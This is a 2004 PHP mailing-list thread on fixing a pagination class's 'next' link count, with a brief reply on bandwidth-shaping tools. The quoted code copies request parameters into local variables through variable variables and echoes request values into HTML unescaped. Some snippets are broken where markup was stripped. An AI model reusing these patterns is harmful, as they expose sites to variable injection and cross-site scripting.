\n"; > > // PREVIOUS LINK > if ((int)$page !== 1) { > $pagePrev = $page - 1; > $html .= " Previous > $displayItemLimit ${section}s in \"$album\" | "; > } > > $numPages = (int)(@sizeof($this->result) / $displayItemLimit); > > // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > for ($i = 1; $i <= $numPages; $i++) { > print_r("i = $i
"); > if ((int)$i === (int)$page) $html .= "$i "; else $html .= > "$i "; > if ($i <= $numPages && @sizeof($this->result) % > (int)$displayItemLimit !== $numPages) $html .= '| '; > } > > // LAST PAGE NUMBER LINK > if (@sizeof($this->result) % $displayItemLimit != 0) { > if ((int)$i === (int)$page) $html .= "$i  "; else $html > .= "$i  "; > } > > // NEXT LINK > $pageItemCount = (int)(@sizeof($this->result) - ($page * > $displayItemLimit)); > if ($page <= $numPages && (int)$pageItemCount > 0) { > $pageNext = $page + 1; > $html .= "|  href=\"index.php?$qs&page=$pageNext\">Next "; > $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount > : $displayItemLimit; > $html .= " ${section}s in \"$album\""; > } > > $html .= "\n
\n"; > } > return $html; > } > > /** > * Perform "cache flush" by destroying the session variable > containing the $result > * > * @access protected > */ > function &flushResult() { // STATIC VOID METHOD > if ($_SESSION['result']) unset($_SESSION['result']); > flush(); > ob_flush(); > clearstatcache(); > } > > /** > * Will perform specific array_slice() function on parameter $result > (IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) > * > * @access protected > * @param object $result (reference) > */ > function &limitResult(&$result) { // STATIC VOID METHOD > global $willPaginate, $displayItemLimit; > foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > is_array($result) && @sizeof($result) >= $displayItemLimit) { > // CALCULATE $offset AND $limit > if ((int)$page === 0) $page = 1; > $page--; > $offset = (int)$page * (int)$displayItemLimit; > $length = ($offset + (int)$displayItemLimit > @sizeof($result)) > ? $offset : (int)$displayItemLimit; > $result = array_slice($result, $offset, $length); > } > } > > } > [/PHP] > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From jcrawford at codebowl.com Thu Jun 3 15:36:10 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 15:36:10 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com> Message-ID: <001801c449a2$07aaf330$e18a3118@codebowl> Phillip, after taking a look at your code i have come to this conclusion and may be incorrect your code : $html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) shouldnt that be $html .= (($offset + (int)$displayItemLimit) > @sizeof($this->result)) i have added the parenthesis around $offset + (int)$displayItemLimit so that the addition get's completed before the > operator is evaluated. let me know if that fixes the problem Joe Crawford Jr. ----- Original Message ----- From: "Phillip Powell" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 1:45 PM Subject: [nycphp-talk] Problem with Pagination > I wrote a class method that will handle pagination regarding > medium-sized resultsets (estimating maximum number of rows at 500). > Everything works beautifully, except one annoying problem that involves > someone with a math degree or really really good with numbers: > > The "next link" displays the wrong number of "next" items every time! I > can't honestly, for the life of me, figure out the algorithm to get it > right. The pagination functionality works perfectly, except that one part. > > Here is the "Reader's Digest" version of my class: > > [PHP] > |class PaginationView extends View { > > var $result; // YOUR RESULTSET > > function PaginationView($result) { // CONSTRUCTOR > $this->result = $result; > } > > function &displayPage() { // STATIC HTML > STRING METHOD > global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; > > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; > > > $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // > FOR EASE OF WRITE > > if ((int)$page === 0) $page = 1; > $page = (int)$page; // CONVERT TO INTEGER > > if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { > > > $html .= "
\n"; > > // PREVIOUS LINK > if ((int)$page !== 1) { > $pagePrev = $page - 1; > $html .= " Previous $displayItemLimit ${section}s in \"$album\" | "; > > } > > $numPages = (int)(@sizeof($this->result) / $displayItemLimit); > > // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > for ($i = 1; $i <= $numPages; $i++) { > if ((int)$i === (int)$page) $html .= "$i | "; else $html .= "$i | "; > > } > > // LAST PAGE NUMBER LINK > if (@sizeof($this->result) % $displayItemLimit != 0) { > if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; > > } > > // NEXT LINK > $offset = (int)(@sizeof($this->result) - ($displayItemLimit * ($page - 1))); > > if ($offset > 0) { > $pageNext = $page + 1; > $html .= " | Next "; > > $html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : $displayItemLimit; > > $html .= " ${section}s in \"$album\""; > } > > $html .= "\n
\n"; > } > return $html; > } > > } > > | > > -- > [/PHP] > Here is a sample output that results with a $displayItemLimit of > 20 items and I'm on page "1" and there are 45 items altogether: > > > > > > quote: > ---------------------------------------------------------------------- -- > 1 | 2 | 3 | Next -25 images in "Album 1" > ---------------------------------------------------------------------- -- > > > > > > The problem is the $offset variable I know in the // NEXT LINK code > block, but I'm stuck, I can't figure it out, furthermore, both of these > utterly fail in PHP 4.3.2 on my system: > > > > > > |PHP:| > ---------------------------------------------------------------------- -- > | > $pagePrev = $page--; > | > ---------------------------------------------------------------------- -- > > > |PHP:| > ---------------------------------------------------------------------- -- > | > $pageNext = $page++; > | > ---------------------------------------------------------------------- -- > > > > Both result in $pagePrev and $pageNext having null values even though > $page exists and is cast into an integer > > ----------------------- > > At this point I'm not sure what else to do since I'm close to implementing my Pagination class instantiation on my other display classes, but not until I get this one problem fixed or someone just guide me in the right direction as to the exactly working algorithm for at least the "next" links to display correctly. > > > > > *Update* > > I am basing my algorithm on the tutorial at > http://www.phpfreaks.com/tutorials/43/4.php > > Thanx > Phil > -------------------------------------------------------------------------- ------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From phillip.powell at adnet-sys.com Thu Jun 3 15:53:26 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 15:53:26 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <000701c449a0$de3affa0$e18a3118@codebowl> References: <40BF63C4.3040209@adnet-sys.com><001c01c4499f$1662d4e0$e18a3118@codebowl> <40BF7BFC.6020200@adnet-sys.com> <000701c449a0$de3affa0$e18a3118@codebowl> Message-ID: <40BF81B6.6080100@adnet-sys.com> Joe Crawford Jr. wrote: >Phillip, > >what is all this stuff? is it auto inserted by an editor? > > /** > * @abstract > * @param mixed $section > * @param int id (optional) > */ > > > > Documentation code used by PHPDocumentor to create Javadoc like documents for PHP. It's pretty cool. Phil >----- Original Message ----- >From: "Phillip Powell" >To: "NYPHP Talk" >Sent: Thursday, June 03, 2004 3:29 PM >Subject: Re: [nycphp-talk] Problem with Pagination > > > > >>This is per Joe Crawford's request. >> >>Phil >> >>[PHP] >>// CLASS FOR IMPLEMENTATION FOR VIEW CLASSES >>class View { >> >> /** >> * Abstract class for views >> * @abstract >> */ >> function View() { >> // "CONSTRUCTOR" >> // PREVENT INSTANTIATION OF THIS OBJECT TO ENSURE "ABSTRACT" >> >> >STATUS > > >> if (!is_subclass_of($this, 'View')) trigger_error('Class "' . >>get_class($this) . '" is not a subclass of Object', E_USER_ERROR); >> return null; >> } >> >> //------------------------------ --* GETTER/SETTER METHODS *-- >>----------------------------------------- >> >> /** >> * @abstract >> * @param int id >> * @param mixed $imageLocationPath (optional) >> */ >> function getAssociationDisplay($id, $imageLocationPath = '') {} >> >> /** >> * @abstract >> * @param mixed $section >> * @param int id (optional) >> */ >> function getAssocSectionsArray($associatedSection, $id = '') {} >> >> /** >> * @param object $result >> * @return int total items in $result >> */ >> function &getCount($result) { >> return @sizeof($result); >> } >> //------------------------------ --* END OF GETTER/SETTER METHODS >>*-- ------------------------------- >> >> /** >> * @abstract >> * @param int id (optional) >> */ >> function assocSectionsDisplayHTML($id = '') {} >> >> /** >> * @abstract >> */ >> // DISPLAY HTML >> function displayHTML() {} >> >> /** >> * @abstract >> */ >> // DISPLAY PAGE LINKS >> function displayPage() {} >> >> /** >> * @abstract >> */ >> // DISPLAY TEXT >> function displayText() {} >> >> /** >> * @abstract >> */ >> // DISPLAY TREE >> function displayTree() {} >> >> /** >> * @abstract >> */ >> // DISPLAY XML >> function displayXML() {} >> >> // MORE TO COME... >> >>} >> >>/** >> * PaginationView will handle all displays regarding pagination along >>with limit calculations. Class is a subclass of client-scope >> * class View for displayPage() method inheritance >> * >> * @author Phil Powell >> * @version 1.0.0 >> * @package IMAGE_CATALOG >> * @see View >> */ >> >>class PaginationView extends View { >> >> /** >> * >> * Result set >> * >> * @access private >> * @param object $result >> */ >> var $result; >> >> /** >> * Constructor >> * >> * @access public >> */ >> function PaginationView($result) { // CONSTRUCTOR >> $this->result = $result; >> } >> >> //--------------------------------------- --* GETTER/SETTER METHODS >>*-- ----------------------------------------------------------------- >> >> /** >> * Retrieve "cached" results from $_SESSION variable >> * >> * @access protected >> * @return object $result unserialized collection array >> */ >> function &getCachedResult() { // STATIC >>OBJECT METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> if ($willPaginate && (int)$displayItemLimit > 0 && >>$willKeepPageSession) return unserialize($_SESSION['result']); >> } >> //--------------------------------------- --* END OF GETTER/SETTER >>METHODS *-- >>----------------------------------------------------------------- >> >> /** >> * Do a "faux" caching by placing the entire resultset into a >>$_SESSION variable. Serialize as this might be an array of objects >> * >> * @access protected >> */ >> function cacheResult() { // VOID METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> if ($willPaginate && (int)$displayItemLimit > 0 && >>!$willKeepPageSession && !$page) { >> unset($_SESSION['result']); >> $_SESSION['result'] = serialize($this->result); >> flush(); >> ob_flush(); >> clearstatcache(); >> } >> } >> >> /** >> * Display pagination links >> * >> * @access public >> * @return mixed HTML >> */ >> function &displayPage() { // STATIC HTML >>STRING METHOD >> global $section, $action, $album, $headerMenuArray, >>$willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> >> $qs = >>"section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . >>urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE >> >> if ((int)$page === 0) $page = 1; >> $page = (int)$page; // CONVERT TO INTEGER >> >> if (@sizeof($this->result) > $displayItemLimit && >>$willPaginate) { >> >> $html .= "
\n"; >> >> // PREVIOUS LINK >> if ((int)$page !== 1) { >> $pagePrev = $page - 1; >> $html .= " Previous >>$displayItemLimit ${section}s in \"$album\" | "; >> } >> >> $numPages = (int)(@sizeof($this->result) / >> >> >$displayItemLimit); > > >> // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE >> for ($i = 1; $i <= $numPages; $i++) { >> if ((int)$i === (int)$page) $html .= "$i "; else $html .= >> >> > > > >>"$i "; >> if ($i <= $numPages && @sizeof($this->result) % >>(int)$displayItemLimit !== $numPages) $html .= '| '; >> } >> >> // LAST PAGE NUMBER LINK >> if (@sizeof($this->result) % $displayItemLimit != 0) { >> if ((int)$i === (int)$page) $html .= "$i  "; else $html >>.= "$i  "; >> } >> >> // NEXT LINK >> $pageItemCount = (int)(@sizeof($this->result) - ($page * >>$displayItemLimit)); >> if ($page <= $numPages && (int)$pageItemCount > 0) { >> $pageNext = $page + 1; >> $html .= "| >href=\"index.php?$qs&page=$pageNext\">Next "; >> $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount >>: $displayItemLimit; >> $html .= " ${section}s in \"$album\""; >> } >> >> $html .= "\n
\n"; >> } >> return $html; >> } >> >> /** >> * Perform "cache flush" by destroying the session variable >>containing the $result >> * >> * @access protected >> */ >> function &flushResult() { // STATIC VOID METHOD >> if ($_SESSION['result']) unset($_SESSION['result']); >> flush(); >> ob_flush(); >> clearstatcache(); >> } >> >> /** >> * Will perform specific array_slice() function on parameter $result >>(IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) >> * >> * @access protected >> * @param object $result (reference) >> */ >> function &limitResult(&$result) { // STATIC VOID METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = >> >> >$val; > > >> if ($willPaginate && (int)$displayItemLimit > 0 && >>is_array($result) && @sizeof($result) >= $displayItemLimit) { >> // CALCULATE $offset AND $limit >> if ((int)$page === 0) $page = 1; >> $page--; >> $offset = (int)$page * (int)$displayItemLimit; >> $length = ($offset + (int)$displayItemLimit > @sizeof($result)) >>? $offset : (int)$displayItemLimit; >> $result = array_slice($result, $offset, $length); >> } >> } >> >>} >>[/PHP] >> >>This is per Joe Crawford's request/** >> * PaginationView will handle all displays regarding pagination along >>with limit calculations. Class is a subclass of client-scope >> * class View for displayPage() method inheritance >> * >> * @author Phil Powell >> * @version 1.0.0 >> * @package IMAGE_CATALOG >> * @see View >> */ >> >>class PaginationView extends View { >> >> /** >> * >> * Result set >> * >> * @access private >> * @param object $result >> */ >> var $result; >> >> /** >> * Constructor >> * >> * @access public >> */ >> function PaginationView($result) { // CONSTRUCTOR >> $this->result = $result; >> } >> >> //--------------------------------------- --* GETTER/SETTER METHODS >>*-- ----------------------------------------------------------------- >> >> /** >> * Retrieve "cached" results from $_SESSION variable >> * >> * @access protected >> * @return object $result unserialized collection array >> */ >> function &getCachedResult() { // STATIC >>OBJECT METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> if ($willPaginate && (int)$displayItemLimit > 0 && >>$willKeepPageSession) return unserialize($_SESSION['result']); >> } >> //--------------------------------------- --* END OF GETTER/SETTER >>METHODS *-- >>----------------------------------------------------------------- >> >> /** >> * Do a "faux" caching by placing the entire resultset into a >>$_SESSION variable. Serialize as this might be an array of objects >> * >> * @access protected >> */ >> function cacheResult() { // VOID METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> if ($willPaginate && (int)$displayItemLimit > 0 && >>!$willKeepPageSession && !$page) { >> unset($_SESSION['result']); >> $_SESSION['result'] = serialize($this->result); >> flush(); >> ob_flush(); >> clearstatcache(); >> } >> } >> >> /** >> * Display pagination links >> * >> * @access public >> * @return mixed HTML >> */ >> function &displayPage() { // STATIC HTML >>STRING METHOD >> global $section, $action, $album, $headerMenuArray, >>$willPaginate, $displayItemLimit; >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} >>= $val; >> >> $qs = >>"section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . >>urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE >> >> if ((int)$page === 0) $page = 1; >> $page = (int)$page; // CONVERT TO INTEGER >> >> if (@sizeof($this->result) > $displayItemLimit && >>$willPaginate) { >> >> $html .= "
\n"; >> >> // PREVIOUS LINK >> if ((int)$page !== 1) { >> $pagePrev = $page - 1; >> $html .= " Previous >>$displayItemLimit ${section}s in \"$album\" | "; >> } >> >> $numPages = (int)(@sizeof($this->result) / >> >> >$displayItemLimit); > > >> // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE >> for ($i = 1; $i <= $numPages; $i++) { >> print_r("i = $i
"); >> if ((int)$i === (int)$page) $html .= "$i "; else $html .= >>"$i "; >> if ($i <= $numPages && @sizeof($this->result) % >>(int)$displayItemLimit !== $numPages) $html .= '| '; >> } >> >> // LAST PAGE NUMBER LINK >> if (@sizeof($this->result) % $displayItemLimit != 0) { >> if ((int)$i === (int)$page) $html .= "$i  "; else $html >>.= "$i  "; >> } >> >> // NEXT LINK >> $pageItemCount = (int)(@sizeof($this->result) - ($page * >>$displayItemLimit)); >> if ($page <= $numPages && (int)$pageItemCount > 0) { >> $pageNext = $page + 1; >> $html .= "| >href=\"index.php?$qs&page=$pageNext\">Next "; >> $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount >>: $displayItemLimit; >> $html .= " ${section}s in \"$album\""; >> } >> >> $html .= "\n
\n"; >> } >> return $html; >> } >> >> /** >> * Perform "cache flush" by destroying the session variable >>containing the $result >> * >> * @access protected >> */ >> function &flushResult() { // STATIC VOID METHOD >> if ($_SESSION['result']) unset($_SESSION['result']); >> flush(); >> ob_flush(); >> clearstatcache(); >> } >> >> /** >> * Will perform specific array_slice() function on parameter $result >>(IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) >> * >> * @access protected >> * @param object $result (reference) >> */ >> function &limitResult(&$result) { // STATIC VOID METHOD >> global $willPaginate, $displayItemLimit; >> foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = >> >> >$val; > > >> if ($willPaginate && (int)$displayItemLimit > 0 && >>is_array($result) && @sizeof($result) >= $displayItemLimit) { >> // CALCULATE $offset AND $limit >> if ((int)$page === 0) $page = 1; >> $page--; >> $offset = (int)$page * (int)$displayItemLimit; >> $length = ($offset + (int)$displayItemLimit > @sizeof($result)) >>? $offset : (int)$displayItemLimit; >> $result = array_slice($result, $offset, $length); >> } >> } >> >>} >>[/PHP] >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> >> >> > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From phillip.powell at adnet-sys.com Thu Jun 3 15:58:55 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 15:58:55 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <001801c449a2$07aaf330$e18a3118@codebowl> References: <40BF63C4.3040209@adnet-sys.com> <001801c449a2$07aaf330$e18a3118@codebowl> Message-ID: <40BF82FF.7060707@adnet-sys.com> Joe Crawford Jr. wrote: >Phillip, > >after taking a look at your code i have come to this conclusion and may be >incorrect > >your code : > >$html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) > >shouldnt that be > >$html .= (($offset + (int)$displayItemLimit) > @sizeof($this->result)) >i have added the parenthesis around >$offset + (int)$displayItemLimit >so that the addition get's completed before the > operator is evaluated. > >let me know if that fixes the problem > > I'm sorry I'm a bit confused as to where you pulled that information from. Here is the snippet now that correctly produces the "next" link: // NEXT LINK $pageItemCount = (int)(@sizeof($this->result) - ($page * $displayItemLimit)); if ($page <= $numPages && (int)$pageItemCount > 0) { $pageNext = $page + 1; $html .= "| Next "; $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount : $displayItemLimit; $html .= " ${section}s in \"$album\""; } They need to make pagination easy. Phil >Joe Crawford Jr. > > >----- Original Message ----- >From: "Phillip Powell" >To: "NYPHP Talk" >Sent: Thursday, June 03, 2004 1:45 PM >Subject: [nycphp-talk] Problem with Pagination > > > > >>I wrote a class method that will handle pagination regarding >>medium-sized resultsets (estimating maximum number of rows at 500). >>Everything works beautifully, except one annoying problem that involves >>someone with a math degree or really really good with numbers: >> >>The "next link" displays the wrong number of "next" items every time! I >>can't honestly, for the life of me, figure out the algorithm to get it >>right. The pagination functionality works perfectly, except that one >> >> >part. > > >>Here is the "Reader's Digest" version of my class: >> >>[PHP] >>|class PaginationView extends View { >> >> var $result; // YOUR RESULTSET >> >> function PaginationView($result) { // CONSTRUCTOR >> $this->result = $result; >> } >> >> function &displayPage() { // STATIC HTML >>STRING METHOD >> global $section, $action, $album, $headerMenuArray, $willPaginate, >> >> >$displayItemLimit; > > >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = >> >> >$val; > > >> $qs = >> >> >"section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . >urlencode($album) . '&willKeepPageSession=1'; // > > >>FOR EASE OF WRITE >> >> if ((int)$page === 0) $page = 1; >> $page = (int)$page; // CONVERT TO INTEGER >> >> if (@sizeof($this->result) > $displayItemLimit && >> >> >$willPaginate) { > > >> $html .= "
\n"; >> >> // PREVIOUS LINK >> if ((int)$page !== 1) { >> $pagePrev = $page - 1; >> $html .= " Previous >> >> >$displayItemLimit ${section}s in \"$album\" | "; > > >> } >> >> $numPages = (int)(@sizeof($this->result) / >> >> >$displayItemLimit); > > >> // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE >> for ($i = 1; $i <= $numPages; $i++) { >> if ((int)$i === (int)$page) $html .= "$i | "; >> >> >else $html .= "href=\"index.php?$qs&page=$i\">$i | "; > > >> } >> >> // LAST PAGE NUMBER LINK >> if (@sizeof($this->result) % $displayItemLimit != 0) { >> if ((int)$i === (int)$page) $html .= "$i  "; else $html .= >> >> >"$i  "; > > >> } >> >> // NEXT LINK >> $offset = (int)(@sizeof($this->result) - ($displayItemLimit * >> >> >($page - 1))); > > >> if ($offset > 0) { >> $pageNext = $page + 1; >> $html .= " | > >> >href=\"index.php?$qs&page=$pageNext\">Next "; > > >> $html .= ($offset + (int)$displayItemLimit > >> >> >@sizeof($this->result)) ? (int)($displayItemLimit - $offset) : >$displayItemLimit; > > >> $html .= " ${section}s in \"$album\""; >> } >> >> $html .= "\n
\n"; >> } >> return $html; >> } >> >>} >> >>| >> >>-- >>[/PHP] >>Here is a sample output that results with a $displayItemLimit of >>20 items and I'm on page "1" and there are 45 items altogether: >> >> >> >> >> >> quote: >> ---------------------------------------------------------------------- >> >> >-- > > >> 1 | 2 | 3 | Next -25 images in "Album 1" >> ---------------------------------------------------------------------- >> >> >-- > > >> >> >> >>The problem is the $offset variable I know in the // NEXT LINK code >>block, but I'm stuck, I can't figure it out, furthermore, both of these >>utterly fail in PHP 4.3.2 on my system: >> >> >> >> >> >> |PHP:| >> ---------------------------------------------------------------------- >> >> >-- > > >> | >> $pagePrev = $page--; >> | >> ---------------------------------------------------------------------- >> >> >-- > > >> |PHP:| >> ---------------------------------------------------------------------- >> >> >-- > > >> | >> $pageNext = $page++; >> | >> ---------------------------------------------------------------------- >> >> >-- > > >> >>Both result in $pagePrev and $pageNext having null values even though >>$page exists and is cast into an integer >> >>----------------------- >> >>At this point I'm not sure what else to do since I'm close to implementing >> >> >my Pagination class instantiation on my other display classes, but not until >I get this one problem fixed or someone just guide me in the right direction >as to the exactly working algorithm for at least the "next" links to display >correctly. > > >> >> >>*Update* >> >>I am basing my algorithm on the tutorial at >>http://www.phpfreaks.com/tutorials/43/4.php >> >>Thanx >>Phil >>-------------------------------------------------------------------------- >> >> >------- > > >>Phil Powell >>Multimedia Programmer >>BPX Technologies, Inc. >>#: (703) 709-7218 x107 >>Fax: (703) 709-7219 >> >> >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> >> >> > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From bill at ilovett.com Thu Jun 3 15:58:16 2004 From: bill at ilovett.com (Bill Lovett) Date: Thu, 03 Jun 2004 15:58:16 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management In-Reply-To: <1086295035.5417.72.camel@bezel> References: <8bfeb8f3be.8f3be8bfeb@optonline.net> <1086295035.5417.72.camel@bezel> Message-ID: <40BF82D8.4030601@ilovett.com> >>Does anyone know of any good open source bandwidth management solutions? Linux Advanced Routing & Traffic Control HOWTO http://lartc.org/howto/ The Wonder Shaper http://lartc.org/wondershaper/ From jcrawford at codebowl.com Thu Jun 3 16:17:33 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 16:17:33 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com><001801c449a2$07aaf330$e18a3118@codebowl> <40BF82FF.7060707@adnet-sys.com> Message-ID: <001e01c449a7$ce7c1160$e18a3118@codebowl> Phillip, here is your code, the red ( ) are the one's i added ;) let me know if that worked. // NEXT LINK $offset = (int)(@sizeof($this->result) - ($displayItemLimit * ($page - 1))); if ($offset > 0) { $pageNext = $page + 1; $html .= " | Next "; $html .= (($offset + (int)$displayItemLimit) > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : $displayItemLimit; $html .= " ${section}s in \"$album\""; } ----- Original Message ----- From: "Phillip Powell" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 3:58 PM Subject: Re: [nycphp-talk] Problem with Pagination > Joe Crawford Jr. wrote: > > >Phillip, > > > >after taking a look at your code i have come to this conclusion and may be > >incorrect > > > >your code : > > > >$html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) > > > >shouldnt that be > > > >$html .= (($offset + (int)$displayItemLimit) > @sizeof($this->result)) > >i have added the parenthesis around > >$offset + (int)$displayItemLimit > >so that the addition get's completed before the > operator is evaluated. > > > >let me know if that fixes the problem > > > > > > I'm sorry I'm a bit confused as to where you pulled that information > from. Here is the snippet now that correctly produces the "next" link: > > // NEXT LINK > $pageItemCount = (int)(@sizeof($this->result) - ($page * > $displayItemLimit)); > if ($page <= $numPages && (int)$pageItemCount > 0) { > $pageNext = $page + 1; > $html .= "|  href=\"index.php?$qs&page=$pageNext\">Next "; > $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount > : $displayItemLimit; > $html .= " ${section}s in \"$album\""; > } > > They need to make pagination easy. > > Phil > > >Joe Crawford Jr. > > > > > >----- Original Message ----- > >From: "Phillip Powell" > >To: "NYPHP Talk" > >Sent: Thursday, June 03, 2004 1:45 PM > >Subject: [nycphp-talk] Problem with Pagination > > > > > > > > > >>I wrote a class method that will handle pagination regarding > >>medium-sized resultsets (estimating maximum number of rows at 500). > >>Everything works beautifully, except one annoying problem that involves > >>someone with a math degree or really really good with numbers: > >> > >>The "next link" displays the wrong number of "next" items every time! I > >>can't honestly, for the life of me, figure out the algorithm to get it > >>right. The pagination functionality works perfectly, except that one > >> > >> > >part. > > > > > >>Here is the "Reader's Digest" version of my class: > >> > >>[PHP] > >>|class PaginationView extends View { > >> > >> var $result; // YOUR RESULTSET > >> > >> function PaginationView($result) { // CONSTRUCTOR > >> $this->result = $result; > >> } > >> > >> function &displayPage() { // STATIC HTML > >>STRING METHOD > >> global $section, $action, $album, $headerMenuArray, $willPaginate, > >> > >> > >$displayItemLimit; > > > > > >> foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = > >> > >> > >$val; > > > > > >> $qs = > >> > >> > >"section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . > >urlencode($album) . '&willKeepPageSession=1'; // > > > > > >>FOR EASE OF WRITE > >> > >> if ((int)$page === 0) $page = 1; > >> $page = (int)$page; // CONVERT TO INTEGER > >> > >> if (@sizeof($this->result) > $displayItemLimit && > >> > >> > >$willPaginate) { > > > > > >> $html .= "
\n"; > >> > >> // PREVIOUS LINK > >> if ((int)$page !== 1) { > >> $pagePrev = $page - 1; > >> $html .= " Previous > >> > >> > >$displayItemLimit ${section}s in \"$album\" | "; > > > > > >> } > >> > >> $numPages = (int)(@sizeof($this->result) / > >> > >> > >$displayItemLimit); > > > > > >> // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > >> for ($i = 1; $i <= $numPages; $i++) { > >> if ((int)$i === (int)$page) $html .= "$i | "; > >> > >> > >else $html .= " >href=\"index.php?$qs&page=$i\">$i | "; > > > > > >> } > >> > >> // LAST PAGE NUMBER LINK > >> if (@sizeof($this->result) % $displayItemLimit != 0) { > >> if ((int)$i === (int)$page) $html .= "$i  "; else $html .= > >> > >> > >"$i  "; > > > > > >> } > >> > >> // NEXT LINK > >> $offset = (int)(@sizeof($this->result) - ($displayItemLimit * > >> > >> > >($page - 1))); > > > > > >> if ($offset > 0) { > >> $pageNext = $page + 1; > >> $html .= " |  >> > >> > >href=\"index.php?$qs&page=$pageNext\">Next "; > > > > > >> $html .= ($offset + (int)$displayItemLimit > > >> > >> > >@sizeof($this->result)) ? (int)($displayItemLimit - $offset) : > >$displayItemLimit; > > > > > >> $html .= " ${section}s in \"$album\""; > >> } > >> > >> $html .= "\n
\n"; > >> } > >> return $html; > >> } > >> > >>} > >> > >>| > >> > >>-- > >>[/PHP] > >>Here is a sample output that results with a $displayItemLimit of > >>20 items and I'm on page "1" and there are 45 items altogether: > >> > >> > >> > >> > >> > >> quote: > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> 1 | 2 | 3 | Next -25 images in "Album 1" > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> > >> > >> > >>The problem is the $offset variable I know in the // NEXT LINK code > >>block, but I'm stuck, I can't figure it out, furthermore, both of these > >>utterly fail in PHP 4.3.2 on my system: > >> > >> > >> > >> > >> > >> |PHP:| > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> | > >> $pagePrev = $page--; > >> | > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> |PHP:| > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> | > >> $pageNext = $page++; > >> | > >> ---------------------------------------------------------------------- > >> > >> > >-- > > > > > >> > >>Both result in $pagePrev and $pageNext having null values even though > >>$page exists and is cast into an integer > 